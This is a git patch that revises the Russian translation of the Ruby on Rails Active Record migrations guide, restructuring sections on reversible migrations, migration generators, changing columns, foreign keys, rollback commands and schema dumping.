6_1_release_notes.md - revision: 83a4fa414bc9e5008825f47857fdd80e85c82033 - date: 12/01/2022 + revision: b7ed4558b4d5674039d589c7f9569a8a8bab8898 + date: 16/05/2023 - title: Заметки о релизе Ruby on Rails 6.0 path: 6_0_release_notes @@ -381,8 +381,8 @@ pages: - title: Заметки о релизе Ruby on Rails 4.0 path: 4_0_release_notes file: 4_0_release_notes.md - revision: 226b171144039a8c02344a3cb22323e38eddbdf2 - date: 31/05/2021 + revision: 6e3d14399981a02e1d5be423a267937692f724e5 + date: 30/03/2023 - title: Заметки о релизе Ruby on Rails 3.2 path: 3_2_release_notes From 02ebc58f614dc1658ee346e68f8818d7828042bc Mon Sep 17 00:00:00 2001 From: Mikhail Date: Mon, 14 Aug 2023 01:48:03 +0300 Subject: [PATCH 844/932] Update migration guide --- source/active_record_migrations.md | 302 ++++++++++++++++++----------- source/index.yml | 4 +- 2 files changed, 194 insertions(+), 112 deletions(-) diff --git a/source/active_record_migrations.md b/source/active_record_migrations.md index 0058e0bd..2298da3e 100644 --- a/source/active_record_migrations.md +++ b/source/active_record_migrations.md @@ -36,25 +36,29 @@ end Отметьте, что мы определили изменение, которое мы хотим, чтобы произошло при движении вперед во времени. До запуска этой миграции таблицы нет. После - таблица будет существовать. Active Record также знает, как обратить эту миграцию: если мы откатываем эту миграцию, он удалит таблицу. -В базах данных, поддерживающих транзакции с выражениями, изменяющими схему, миграции оборачиваются в транзакцию. Если база данных это не поддерживает, и миграция проваливается, части, которые прошли успешно, не будут откачены назад. Вам нужно произвести откат вручную. +В базах данных, поддерживающих транзакции с выражениями, изменяющими схему, каждая миграция оборачивается в транзакцию. Если база данных это не поддерживает, и миграция проваливается, части, которые прошли успешно, не будут откачены назад. Вам нужно произвести откат вручную. NOTE: Некоторые запросы не могут быть запущены в транзакции. Если ваш адаптер поддерживает транзакции DDL, можно использовать `disable_ddl_transaction!` для их отключения для отдельной миграции. +### (making-the-irreversible-possible) Сделать необратимое возможным + Если хотите миграцию для чего-то, что Active Record не знает, как обратить, вы можете использовать `reversible`: ```ruby class ChangeProductsPrice < ActiveRecord::Migration[7.1] def change - reversible do |dir| + reversible do |direction| change_table :products do |t| - dir.up { t.change :price, :string } - dir.down { t.change :price, :integer } + direction.up { t.change :price, :string } + direction.down { t.change :price, :integer } end end end end ``` +Эта миграция изменит тип столбца `price` на строковый, или обратно на числовой при откате миграции. Обратите внимание на блок, переданный, соответственно, в `direction.up` и `direction.down`. + С другой стороны, можно использовать `up` и `down` вместо `change`: ```ruby @@ -73,8 +77,10 @@ class ChangeProductsPrice < ActiveRecord::Migration[7.1] end ``` -Создание миграции ------------------ +INFO: Подробнее о [`reversible`](#using-reversible) позже. + +Генерация миграций +------------------ ### Создание автономной миграции @@ -97,13 +103,15 @@ end Этот генератор может гораздо больше, чем приставить временную метку к имени файла. Основываясь на соглашениях по именованию и дополнительных (необязательных) аргументах, он может также заполнить миграцию. +### (adding-new-columns) Добавление новых столбцов + Если имя миграции имеет форму "AddColumnToTable" или "RemoveColumnFromTable" и далее следует перечень имен столбцов и их типов, то в миграции будут созданы соответствующие выражения [`add_column`][] и [`remove_column`][]. ```bash $ bin/rails generate migration AddPartNumberToProducts part_number:string ``` -сгенерирует +Это сгенерирует следующую миграцию: ```ruby class AddPartNumberToProducts < ActiveRecord::Migration[7.1] @@ -119,7 +127,7 @@ end $ bin/rails generate migration AddPartNumberToProducts part_number:string:index ``` -сгенерирует необходимые выражения `add_column` and [`add_index`][]: +Это сгенерирует необходимые выражения `add_column` and [`add_index`][]: ```ruby class AddPartNumberToProducts < ActiveRecord::Migration[7.1] @@ -130,39 +138,43 @@ class AddPartNumberToProducts < ActiveRecord::Migration[7.1] end ``` -Точно так же можно сгенерировать миграцию для удаления столбца из командной строки: +Вы **не** ограничены одним магически генерируемым столбцом. Например: ```bash -$ bin/rails generate migration RemovePartNumberFromProducts part_number:string +$ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal ``` -генерирует +Сгенерирует миграцию схемы, добавляющую два дополнительных столбца в таблице `products`. ```ruby -class RemovePartNumberFromProducts < ActiveRecord::Migration[7.1] +class AddDetailsToProducts < ActiveRecord::Migration[7.1] def change - remove_column :products, :part_number, :string + add_column :products, :part_number, :string + add_column :products, :price, :decimal end end ``` -Вы не ограничены одним сгенерированным столбцом. Например: +### Удаление столбцов + +Точно так же можно сгенерировать миграцию для удаления столбца из командной строки: ```bash -$ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal +$ bin/rails generate migration RemovePartNumberFromProducts part_number:string ``` -генерирует +Это сгенерирует подходящее выражение [`remove_column`][]: ```ruby -class AddDetailsToProducts < ActiveRecord::Migration[7.1] +class RemovePartNumberFromProducts < ActiveRecord::Migration[7.1] def change - add_column :products, :part_number, :string - add_column :products, :price, :decimal + remove_column :products, :part_number, :string end end ``` +### Создание новых таблиц + Если имя миграции имеет форму "CreateXXX" и затем следует список имен и типов столбцов, то будет сгенерирована миграция, генерирующая таблицу XXX с перечисленными столбцами. Например: ```bash @@ -186,6 +198,8 @@ end Как всегда, то, что было сгенерировано, является всего лишь стартовой точкой. Вы можете добавлять и убирать строки, как считаете нужным, отредактировав файл `db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb`. +### Создание связей, используя references + Также генератор принимает такой тип столбца, как `references` (или его псевдоним `belongs_to`). Например, ```bash @@ -238,7 +252,7 @@ end $ bin/rails generate model Product name:string description:text ``` -создаст миграцию, которая выглядит так +Это создаст миграцию, которая выглядит так ```ruby class CreateProducts < ActiveRecord::Migration[7.1] @@ -276,10 +290,10 @@ class AddDetailsToProducts < ActiveRecord::Migration[7.1] end ``` -TIP: Чтобы узнать подробности, обратите внимание на выводимые сообщения генератора. +TIP: Чтобы узнать подробности, обратите внимание на вывод помощи генератора (`bin/rails generate --help`). -(writing-a-migration) Написание миграции ----------------------------------------- +Написание миграций +------------------ Как только вы создали свою миграцию, используя один из генераторов, пришло время поработать! @@ -295,7 +309,9 @@ end Это создаст таблицу `products` со столбцом `name`. -По умолчанию `create_table` создаст первичный ключ, названный `id`. Вы можете изменить имя первичного ключа с помощью опции `:primary_key`, или, если вы вообще не хотите первичный ключ, можно указать опцию `id: false`. Если нужно передать базе данных специфичные опции, вы можете поместить фрагмент `SQL` в опцию `:options`. Например: +По умолчанию `create_table` неявно создаст первичный ключ, названный `id`. Вы можете изменить имя столбца с помощью опции `:primary_key`, или, если вы вообще не хотите первичный ключ, можно указать опцию `id: false`. + +Если нужно передать базе данных специфичные опции, вы можете поместить фрагмент `SQL` в опцию `:options`. Например: ```ruby create_table :products, options: "ENGINE=BLACKHOLE" do |t| @@ -303,9 +319,9 @@ create_table :products, options: "ENGINE=BLACKHOLE" do |t| end ``` -добавит `ENGINE=BLACKHOLE` к SQL выражению, используемому для создания таблицы. +Это добавит `ENGINE=BLACKHOLE` к SQL выражению, используемому для создания таблицы. -Можно создать индекс на созданные столбцы внутри блока `create_table`, передав true или хэш опций в опцию `:index`: +Можно создать индекс на созданные столбцы внутри блока `create_table`, передав `index: true` или хэш опций в опцию `:index`: ```ruby create_table :users do |t| @@ -326,29 +342,25 @@ end create_join_table :products, :categories ``` -что создаст таблицу `categories_products` с двумя столбцами по имени `category_id` и `product_id`. У этих столбцов есть опция `:null`, установленная в `false` по умолчанию. Это может быть переопределено опцией `:column_options`: - -```ruby -create_join_table :products, :categories, column_options: { null: true } -``` +Эта миграция создаст таблицу `categories_products` с двумя столбцами по имени `category_id` и `product_id`. -По умолчанию, имя соединительной таблицы получается как соединение первых двух аргументов, переданных в create_join_table, в алфавитном порядке. Чтобы настроить имя таблицы, передайте опцию `:table_name`: +У этих столбцов есть опция `:null`, установленная в `false` по умолчанию, что означает, что вы **обязаны** предоставлять значение, чтобы сохранить запись в эту таблицу. Это может быть переопределено опцией `:column_options`: ```ruby -create_join_table :products, :categories, table_name: :categorization +create_join_table :products, :categories, column_options: { null: true } ``` -создает таблицу `categorization`. +По умолчанию, имя соединительной таблицы получается как соединение первых двух аргументов, переданных в create_join_table, в алфавитном порядке. -По умолчанию `create_join_table` создаст два столбца без опций, но можно определить эти опции с использованием опции `:column_options`. Например, +Чтобы настроить имя таблицы, передайте опцию `:table_name`: ```ruby -create_join_table :products, :categories, column_options: { null: true } +create_join_table :products, :categories, table_name: :categorization ``` -создаст `product_id` и `category_id` с опцией `:null` равной `true`. +Это обеспечит, что имя соединительной таблицы будет `categorization`, как запрошено. -`create_join_table` также принимает блок, который можно использовать для добавления индексов (которые по умолчанию не создаются) или дополнительных столбцов: +А также, `create_join_table` принимает блок, который можно использовать для добавления индексов (которые по умолчанию не создаются) или любых выбранных вами дополнительных столбцов: ```ruby create_join_table :products, :categories do |t| @@ -361,7 +373,9 @@ end ### Изменение таблиц -Близкий родственник `create_table` это [`change_table`][], используемый для изменения существующих таблиц. Он используется подобно `create_table`, но у объекта, передаваемого в блок, больше методов. Например: +Если хотите изменить существующую таблицу, имеется [`change_table`][]. + +Он используется подобно `create_table`, но у объекта, передаваемого в блок, есть доступ к ряду специальных функций, например: ```ruby change_table :products do |t| @@ -372,28 +386,32 @@ change_table :products do |t| end ``` -удаляет столбцы `description` и `name`, создает строковый столбец `part_number` и добавляет индекс на него. Наконец, он переименовывает столбец `upccode`. +Эта миграция удалит столбцы `description` и `name`, создаст новый строковый столбец `part_number` и добавит индекс на него. Наконец, он переименует столбец `upccode` на `upc_code`. [`change_table`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_table ### Изменение столбцов -Подобно `remove_column` и `add_column`, Rails предоставляет метод миграции [`change_column`][]. +Подобно методам `remove_column` и `add_column`, которые мы раскрыли [ранее](#adding-new-columns), Rails предоставляет метод миграции [`change_column`][]. ```ruby change_column :products, :part_number, :text ``` -Он меняет тип столбца `part_number` в таблице `products` на `:text`. Отметьте, что команда `change_column` — необратима. +Он меняет тип столбца `part_number` в таблице `products` на `:text`. -Кроме `change_column`, методы [`change_column_null`][] и [`change_column_default`][] используются чтобы изменить ограничение не-null или значение столбца по умолчанию. +NOTE: Команда `change_column` — **необратима**. Следует предоставить собственную миграцию `reversible`, подобную обсуждаемой [ранее](#making-the-irreversible-possible). + +Кроме `change_column`, методы [`change_column_null`][] и [`change_column_default`][] используются чтобы изменить ограничение null или значение столбца по умолчанию. ```ruby change_column_null :products, :name, false change_column_default :products, :approved, from: true, to: false ``` -Это настроит поле `:name` в products быть `NOT NULL` столбцом и изменит значение по умолчанию для поля `:approved` с true на false. +Это настроит поле `:name` в products быть `NOT NULL` столбцом и изменит значение по умолчанию для поля `:approved` с true на false. Оба этих изменения будут применены только к будущим транзакциям, к любым существующим записям не будут применены. + +При установке ограничению null true, это означает, что столбец будет принимать значение null, в противном случае будет применено ограничение `NOT NULL`, и должно быть передано значение, чтобы запись была сохранена в базу данных. NOTE: Также можно написать предыдущую миграцию `change_column_default` как `change_column_default :products, :approved, false`, но, в отличие от предыдущего примера, это сделало бы вашу миграцию необратимой. @@ -417,21 +435,19 @@ NOTE: Для `add_column` или `change_column` нет опций для доб Некоторые адаптеры могут поддерживать дополнительные опции; за подробностями обратитесь к документации API конкретных адаптеров. -NOTE: С помощью командной строки нельзя указать `null` и `default`. +NOTE: При генерации миграции с помощью командной строки нельзя указать `null` и `default`. ### (References) Ссылки -Метод `add_reference` позволяет создавать правильно названный столбец. +Метод `add_reference` позволяет создавать правильно названный столбец, служащий соединение между одной или многими связями. ```ruby add_reference :users, :role ``` -Эта миграция создаст столбец `role_id` в таблице users. Он также создаст индекс для этого столбца, если не задана явно опция `index: false`: +Эта миграция создаст столбец `role_id` в таблице users. Он также создаст индекс для этого столбца, если не задана явно опция `index: false`. -```ruby -add_reference :users, :role, index: false -``` +INFO: Подробности смотрите в руководстве [Связи (ассоциации) Active Record][]. Метод `add_belongs_to` это псевдоним `add_reference`. @@ -474,11 +490,11 @@ add_foreign_key :articles, :authors add_foreign_key :articles, :authors, column: :reviewer, primary_key: :email ``` -`add_foreign_key` также поддерживает такие опции, как `name`, `on_delete`, `if_not_exists`, `validate` и `deferrable`. +Это добавит ограничение на таблицу `articles`, гарантирующее, что существует запись в таблице `authors`, в которой столбец `email` соответствует полю `articles.reviewer`. -NOTE: Active Record поддерживает внешние ключи только для отдельных столбцов. Чтобы использовать составные внешние ключи, требуются `execute` и `structure.sql`. Смотрите [Выгрузка схемы](#schema-dumping-and-you) +`add_foreign_key` поддерживает несколько других опций, таких как `name`, `on_delete`, `if_not_exists`, `validate` и `deferrable`. -Внешний ключ также можно убрать: +Внешний ключ также можно убрать с помощью [`remove_foreign_key`][]: ```ruby # позволим Active Record выяснить имя столбца @@ -488,6 +504,8 @@ remove_foreign_key :accounts, :branches remove_foreign_key :accounts, column: :owner_id ``` +NOTE: Active Record поддерживает внешние ключи только для отдельных столбцов. Чтобы использовать составные внешние ключи, требуются `execute` и `structure.sql`. Смотрите [Выгрузка схемы](#schema-dumping-and-you) + ### Когда хелперов недостаточно Если хелперов, предоставленных Active Record, недостаточно, можно использовать метод [`execute`][] для выполнения произвольного SQL: @@ -496,9 +514,16 @@ remove_foreign_key :accounts, column: :owner_id Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1") ``` -Больше подробностей и примеров отдельных методов содержится в документации по API. В частности, документация для [`ActiveRecord::ConnectionAdapters::SchemaStatements`](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html) (который обеспечивает методы, доступные в методах `up`, `down` и `change`), [`ActiveRecord::ConnectionAdapters::TableDefinition`](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html) (который обеспечивает методы, доступные у объекта, переданного методом `create_table`) и [`ActiveRecord::ConnectionAdapters::Table`](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html) (который обеспечивает методы, доступные у объекта, переданного методом `change_table`). +Больше подробностей и примеров отдельных методов содержится в документации по API. В частности, документация для [`ActiveRecord::ConnectionAdapters::SchemaStatements`][], который обеспечивает методы, доступные в методах `up`, `down` и `change`. + +Методы, доступные у объекта, переданного методом `create_table`, смотрите в [`ActiveRecord::ConnectionAdapters::TableDefinition`][]. + +И для объекта, вкладываемого в `change_table`, смотрите в [`ActiveRecord::ConnectionAdapters::Table`][]. [`execute`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html#method-i-execute +[`ActiveRecord::ConnectionAdapters::SchemaStatements`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html +[`ActiveRecord::ConnectionAdapters::TableDefinition`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html +[`ActiveRecord::ConnectionAdapters::Table`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html ### Использование метода `change` @@ -569,19 +594,18 @@ class ExampleMigration < ActiveRecord::Migration[7.1] t.string :zipcode end - reversible do |dir| - dir.up do - # добавим ограничение CHECK + reversible do |direction| + direction.up do + # создадим представление distributors execute <<-SQL - ALTER TABLE distributors - ADD CONSTRAINT zipchk - CHECK (char_length(zipcode) = 5) NO INHERIT; + CREATE VIEW distributors_view AS + SELECT id, zipcode + FROM distributors; SQL end - dir.down do + direction.down do execute <<-SQL - ALTER TABLE distributors - DROP CONSTRAINT zipchk + DROP VIEW distributors_view; SQL end end @@ -592,16 +616,16 @@ class ExampleMigration < ActiveRecord::Migration[7.1] end ``` -Использование `reversible` гарантирует, что инструкции выполнятся в правильном порядке. Если предыдущий пример миграции откатывается, `down` блок начнёт выполнятся после того как столбец `home_page_url` будет удалён и перед тем как произойдёт удаление таблицы `distributors`. - -Иногда миграция будет делать то, что просто необратимо; например, она может уничтожить некоторые данные. В таких случаях, вы можете вызвать `ActiveRecord::IrreversibleMigration` в вашем `down` блоке. Если кто-либо попытается отменить вашу миграцию, будет отображена ошибка, что это не может быть выполнено. +Использование `reversible` гарантирует, что инструкции выполнятся в правильном порядке. Если предыдущий пример миграции откатывается, `down` блок начнёт выполнятся после того как столбец `home_page_url` будет удалён и столбец `email_address` переименован, и перед тем как произойдёт удаление таблицы `distributors`. [`reversible`]: https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-reversible ### Использование методов `up`/`down` Вы также можете использовать старый стиль миграций используя `up` и `down` методы, вместо `change`. -Метод `up` должен описывать изменения, которые необходимо внести в схему, а метод `down` миграции должен обращать изменения, внесенные методом `up`. Другими словами, схема базы данных должна остаться неизменной после выполнения `up`, а затем `down`. Например, если создать таблицу в методе `up`, ее следует удалить в методе `down`. Разумно производить отмену изменений в полностью противоположном порядке тому, в котором они сделаны в методе `up`. Тогда пример из раздела про `reversible` будет эквивалентен: +Метод `up` должен описывать изменения, которые необходимо внести в схему, а метод `down` миграции должен обращать изменения, внесенные методом `up`. Другими словами, схема базы данных должна остаться неизменной после выполнения `up`, а затем `down`. + +Например, если создать таблицу в методе `up`, ее следует удалить в методе `down`. Разумно производить отмену изменений в полностью противоположном порядке тому, в котором они сделаны в методе `up`. Тогда пример из раздела про `reversible` будет эквивалентен: ```ruby class ExampleMigration < ActiveRecord::Migration[7.1] @@ -610,11 +634,11 @@ class ExampleMigration < ActiveRecord::Migration[7.1] t.string :zipcode end - #добавляем ограничение CHECK + # создадим представление distributors execute <<-SQL - ALTER TABLE distributors - ADD CONSTRAINT zipchk - CHECK (char_length(zipcode) = 5); + CREATE VIEW distributors_view AS + SELECT id, zipcode + FROM distributors; SQL add_column :users, :home_page_url, :string @@ -626,8 +650,7 @@ class ExampleMigration < ActiveRecord::Migration[7.1] remove_column :users, :home_page_url execute <<-SQL - ALTER TABLE distributors - DROP CONSTRAINT zipchk + DROP VIEW distributors_view; SQL drop_table :distributors @@ -635,7 +658,13 @@ class ExampleMigration < ActiveRecord::Migration[7.1] end ``` -Если ваша миграция необратима вам следует вызвать `ActiveRecord::IrreversibleMigration` из вашего метода `down`. Если кто-либо попытается отменить вашу миграцию, будет отображена ошибка, что это не может быть выполнено. +### Вызов ошибки, чтобы предотвратить откат + +Иногда ваша миграция будет делать что-то, что просто необратимо; к примеру, может уничтожить некоторые данные. + +В таких случаях следует вызвать `ActiveRecord::IrreversibleMigration` из вашего метода `down`. + +Если кто-либо попытается откатить вашу миграцию, будет отображена ошибка, что это не может быть выполнено. ### (reverting-previous-migrations) Возвращение к предыдущим миграциям @@ -655,43 +684,50 @@ class FixupExampleMigration < ActiveRecord::Migration[7.1] end ``` -Метод `revert` также может принимать блок. Это может быть полезно для отката выбранной части предыдущих миграций. Для примера, давайте представим, что `ExampleMigration` закоммичена, а позже мы решили, что было бы лучше использовать валидации Active Record, вместо ограничения `CHECK`, для проверки zipcode. +Метод `revert` также может принимать блок. Это может быть полезно для отката выбранной части предыдущих миграций. + +Для примера, давайте представим, что `ExampleMigration` закоммичена, а позже мы решили, что представление Distributors больше не нужно. ```ruby -class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration[7.1] +class DontUseDistributorsViewMigration < ActiveRecord::Migration[7.1] def change revert do - reversible do |dir| - dir.up do - # добавим ограничение CHECK + reversible do |direction| + direction.up do + # создадим представление distributors execute <<-SQL - ALTER TABLE distributors - ADD CONSTRAINT zipchk - CHECK (char_length(zipcode) = 5); + CREATE VIEW distributors_view AS + SELECT id, zipcode + FROM distributors; SQL end - dir.down do + direction.down do execute <<-SQL - ALTER TABLE distributors - DROP CONSTRAINT zipchk + DROP VIEW distributors_view; SQL end end - # The rest of the migration was ok + # Остальные части миграции не трогаем end end end ``` -Подобная миграция также может быть написана без использования `revert`, но это бы привело к ещё нескольким шагам: изменение порядка (следования) `create table` и `reversible`, замена `create_table` на `drop_table` и в конечном итоге изменение `up` на `down` и наоборот. Обо всём этом уже позаботился `revert`. +Подобная миграция также может быть написана без использования `revert`, но это бы привело к ещё нескольким шагам: + +1. Изменить порядок следования `create table` и `reversible`. +2. Заменить `create_table` на `drop_table`. +3. Наконец, изменить `up` на `down` и наоборот. + +Обо всём этом уже позаботился `revert`. [`revert`]: https://api.rubyonrails.org/classes/ActiveRecord/Migration.html#method-i-revert Запуск миграций --------------- -Rails предоставляет ряд команд rails для запуска определенных наборов миграций. +Rails предоставляет ряд команд для запуска определенных наборов миграций. Самая первая миграция, относящаяся к команде rails, которую будем использовать, это `bin/rails db:migrate`. В своей основной форме она всего лишь запускает метод `change` или `up` для всех миграций, которые еще не были запущены. Если таких миграций нет, она выходит. Она запустит эти миграции в порядке, основанном на дате миграции. @@ -719,7 +755,7 @@ $ bin/rails db:rollback $ bin/rails db:rollback STEP=3 ``` -произойдёт откат на 3 последних миграции. +Будут отменены 3 последних миграции. Команда `db:migrate:redo` это ярлык для выполнения отката, а затем запуска миграции снова. Так же, как и с командой `db:rollback` можно указать параметр `STEP`, если нужно работать более чем с одной версией, например: @@ -737,7 +773,9 @@ $ bin/rails db:migrate:redo STEP=3 Команда `bin/rails db:reset` удалит базу данных и установит ее заново. Функционально это эквивалентно `bin/rails db:drop db:setup`. -NOTE. Это не то же самое, что запуск всех миграций. Будет использовано только текущее содержимое файла `db/schema.rb` или `db/structure.sql`. Если миграцию откатить невозможно, `bin/rails db:reset` может не помочь вам. Подробнее о выгрузке схемы смотрите раздел [Выгрузка схемы](#schema-dumping-and-you). +NOTE. Это не то же самое, что запуск всех миграций. Будет использовано только текущее содержимое файла `db/schema.rb` или `db/structure.sql`. Если миграцию откатить невозможно, `bin/rails db:reset` может не помочь вам. Подробнее о выгрузке схемы смотрите раздел [Выгрузка схемы][]. + +[Выгрузка схемы]: #schema-dumping-and-you ### Запуск определенных миграций @@ -747,11 +785,25 @@ NOTE. Это не то же самое, что запуск всех мигра $ bin/rails db:migrate:up VERSION=20080906120000 ``` -запустит метод `up` у миграции 20080906120000. Эта команда сперва проверит, была ли миграция уже выполнена, и ничего делать не будет, если Active Record считает, что она уже была запущена. +При запуске этой команды, будет выполнен метод `change` (или метод `up`) для миграции с версией "20080906120000". + +Сначала эта команда проверит, существует ли миграция, или она уже была выполнена, и если так, ничего не будет сделано. + +Если указанная версия не существует, Rails выдаст исключение. + +```bash +$ bin/rails db:migrate VERSION=zomg +rails aborted! +ActiveRecord::UnknownMigrationVersionError: + +No migration with version number zomg. +``` ### Запуск миграций в различных средах -По умолчанию запуск `bin/rails db:migrate` запустится в окружении `development`. Для запуска миграций в другом окружении, его можно указать, используя переменную среды `RAILS_ENV` при запуске команды. Например, для запуска миграций в среде `test`, следует запустить: +По умолчанию запуск `bin/rails db:migrate` запустится в окружении `development`. + +Для запуска миграций в другом окружении, его можно указать, используя переменную среды `RAILS_ENV` при запуске команды. Например, для запуска миграций в среде `test`, следует запустить: ```bash $ bin/rails db:migrate RAILS_ENV=test @@ -776,7 +828,7 @@ $ bin/rails db:migrate RAILS_ENV=test | [`say`][] | Принимает сообщение как аргумент и выводит его как есть. Может быть передан второй булевый аргумент для указания, нужен отступ или нет. | [`say_with_time`][] | Выводит текст вместе с продолжительностью выполнения блока. Если блок возвращает число, предполагается, что это количество затронутых строк. -Например, эта миграция: +Например, возьмем следующую миграцию: ```ruby class CreateProducts < ActiveRecord::Migration[7.1] @@ -791,7 +843,7 @@ class CreateProducts < ActiveRecord::Migration[7.1] say "Created a table" - suppress_messages {add_index :products, :name} + suppress_messages { add_index :products, :name } say "and an index!", true say_with_time 'Waiting for a while' do @@ -802,7 +854,7 @@ class CreateProducts < ActiveRecord::Migration[7.1] end ``` -сгенерирует следующий результат +Это сгенерирует следующий результат: ``` == CreateProducts: migrating ================================================= @@ -825,26 +877,36 @@ end Периодически вы будете делать ошибки при написании миграции. Если вы уже запустили миграцию, вы не сможете просто отредактировать миграцию и запустить ее снова: Rails посчитает, что он уже выполнял миграцию, и ничего не сделает при запуске `bin/rails db:migrate`. Вы должны откатить миграцию (например, с помощью `bin/rails db:rollback`), отредактировать миграцию и затем запустить `bin/rails db:migrate` для запуска исправленной версии. -В целом, редактирование существующих миграций не хорошая идея. Вы создадите дополнительную работу себе и своим коллегам, и вызовете море головной боли, если существующая версия миграции уже была запущена в production. Вместо этого, следует написать новую миграцию, выполняющую требуемые изменения. Редактирование только что сгенерированные миграции, которая еще не была закоммичена в систему контроля версий (или, хотя бы, не ушла дальше вашей рабочей машины) относительно безвредно. +В целом, редактирование существующих миграций не хорошая идея. Вы создадите дополнительную работу себе и своим коллегам, и вызовете море головной боли, если существующая версия миграции уже была запущена в production. + +Вместо этого, следует написать новую миграцию, выполняющую требуемые изменения. Редактирование только что сгенерированные миграции, которая еще не была закоммичена в систему контроля версий (или, хотя бы, не ушла дальше вашей рабочей машины) относительно безвредно. -Метод `revert` может быть очень полезным при написании новой миграции для возвращения предыдущей миграции в целом или какой-то ее части (смотрите [Возвращение к предыдущим миграциям](#reverting-previous-migrations)). +Метод `revert` может быть очень полезным при написании новой миграции для возвращения предыдущей миграции в целом или какой-то ее части (смотрите [Возвращение к предыдущим миграциям][]). + +[Возвращение к предыдущим миграциям]: #reverting-previous-migrations (Schema Dumping and You) Выгрузка схемы --------------------------------------- ### Для чего нужны файлы схемы? -Миграции, какими бы не были они мощными, не являются авторитетным источником для схемы базы данных. База данных остается авторитетным источником. По умолчанию Rails генерирует `db/schema.rb`, которая пытается охватить текущее состояние схемы базы данных. +Миграции, какими бы не были они мощными, не являются авторитетным источником для схемы базы данных. **База данных остается источником истины.** + +По умолчанию Rails генерирует `db/schema.rb`, которая пытается охватить текущее состояние схемы базы данных. -Она имеет тенденцию быть более быстрой и менее подверженной ошибкам, связанным с созданием нового экземпляра базы данных приложения, загружая файл схемы через `bin/rails db:schema:load`, чем при повторном воспроизведении всей истории миграций. [Старые миграции](#old-migrations) могут работать неправильно, если эти миграции используют изменения внешних зависимостей или полагаются на код приложения, который развивается отдельно от этих миграций. +Она имеет тенденцию быть более быстрой и менее подверженной ошибкам, связанным с созданием нового экземпляра базы данных приложения, загружая файл схемы через `bin/rails db:schema:load`, чем при повторном воспроизведении всей истории миграций. [Старые миграции][] могут работать неправильно, если эти миграции используют изменения внешних зависимостей или полагаются на код приложения, который развивается отдельно от этих миграций. Файлы схемы также полезны, если необходимо быстро посмотреть, какие атрибуты есть у объекта Active Record. Эта информация не содержится в коде модели и часто распределена по нескольким миграциям, но собрана воедино в файле схемы. +[Старые миграции]: #old-migrations + ### Типы выгрузок схемы -Формат выгрузки схемы, сгенерированный Rails, управляется настройкой [`config.active_record.schema_format`][] в `config/application.rb`. Форматом по умолчанию является `:ruby`, но также он может быть установлен в `:sql`. +Формат выгрузки схемы, сгенерированный Rails, управляется настройкой [`config.active_record.schema_format`][], определенной в `config/application.rb`. Форматом по умолчанию является `:ruby`, но также альтернативно может быть установлен в `:sql`. + +#### Использование схемы по умолчанию `:ruby` -Если выбрано `:ruby`, тогда схема хранится в `db/schema.rb`. Посмотрев в этот файл, можно увидеть, что он очень похож на одну большую миграцию: +Когда выбрано `:ruby`, тогда схема хранится в `db/schema.rb`. Посмотрев в этот файл, можно увидеть, что он очень похож на одну большую миграцию: ```ruby ActiveRecord::Schema[7.1].define(version: 2008_09_06_171750) do @@ -866,7 +928,13 @@ end Во многих случаях этого достаточно. Этот файл создается путем проверки базы данных и описывает свою структуру, используя `create_table`, `add_index` и так далее. -`db/schema.rb` не может описать все, что может поддерживать база данных, например триггеры, последовательности, хранимые процедуры и так далее. Отметьте, в то время как в миграциях можно выполнить произвольные выражения SQL, эти выражения не смогут быть воспроизведены выгрузчиком схемы. Если используете подобные особенности, необходимо установить формат схемы как `:sql`, чтобы получить точный файл схемы, который будет полезен для создания новых экземпляров базы данных. +#### Использование выгрузки схемы `:sql` + +Однако, `db/schema.rb` не может описать все, что может поддерживать база данных, например триггеры, последовательности, хранимые процедуры и так далее. + +В то время как в миграциях можно выполнить произвольные выражения SQL, эти выражения не смогут быть воспроизведены выгрузчиком схемы. + +Если используете подобные особенности, необходимо установить формат схемы как `:sql`, чтобы получить точный файл схемы, который будет полезен для создания новых экземпляров базы данных. Когда формат схемы установлен в `:sql`, структура базы данных будет выгружена с помощью инструмента, предназначенного для этой базы данных в `db/structure.sql`. Например, для PostgreSQL используется утилита `pg_dump`. Для MySQL и MariaDB этот файл будет содержать результат `SHOW CREATE TABLE` для разных таблиц. @@ -880,15 +948,19 @@ end Конфликты слияния могут возникать в файле схемы, когда две ветки модифицируют схему. Для разрешения этих конфликтов, запустите `bin/rails db:migrate`, чтобы восстановить файл схемы. +INFO: Вновь сгенерированные приложения Rails уже будут иметь папку миграций, включенную в дерево git, поэтому все, что вам нужно, это убедиться, что для любых добавленных миграций, вы добавили и зафиксировали их. + (Active Record and Referential Integrity) Active Record и ссылочная целостность ------------------------------------------------------------------------------- -Способ Active Record требует, чтобы логика была в моделях, а не в базе данных. По большому счету, функции, такие как триггеры или ограничения, которые переносят часть логики обратно в базу данных, не используются активно. +Способ Active Record требует, чтобы логика была в моделях, а не в базе данных. По большому счету, функции, такие как триггеры или ограничения, которые переносят часть логики обратно в базу данных, не не рекомендуются. -Валидации, такие как `validates :foreign_key, uniqueness: true`, это один из способов, которым ваши модели могут соблюдать ссылочную целостность. Опция `:dependent` в связях позволяет моделям автоматически уничтожать дочерние объекты при уничтожении родителя. Подобно всему, что работает на уровне приложения, это не может гарантировать ссылочной целостности, таким образом кто-то может добавить еще и [внешние ключи как ограничители ссылочной целостности](#foreign-keys) в базе данных. +Валидации, такие как `validates :foreign_key, uniqueness: true`, это один из способов, которым ваши модели могут соблюдать ссылочную целостность. Опция `:dependent` в связях позволяет моделям автоматически уничтожать дочерние объекты при уничтожении родителя. Подобно всему, что работает на уровне приложения, это не может гарантировать ссылочной целостности, таким образом кто-то может добавить еще и [внешние ключи как ограничители ссылочной целостности][] 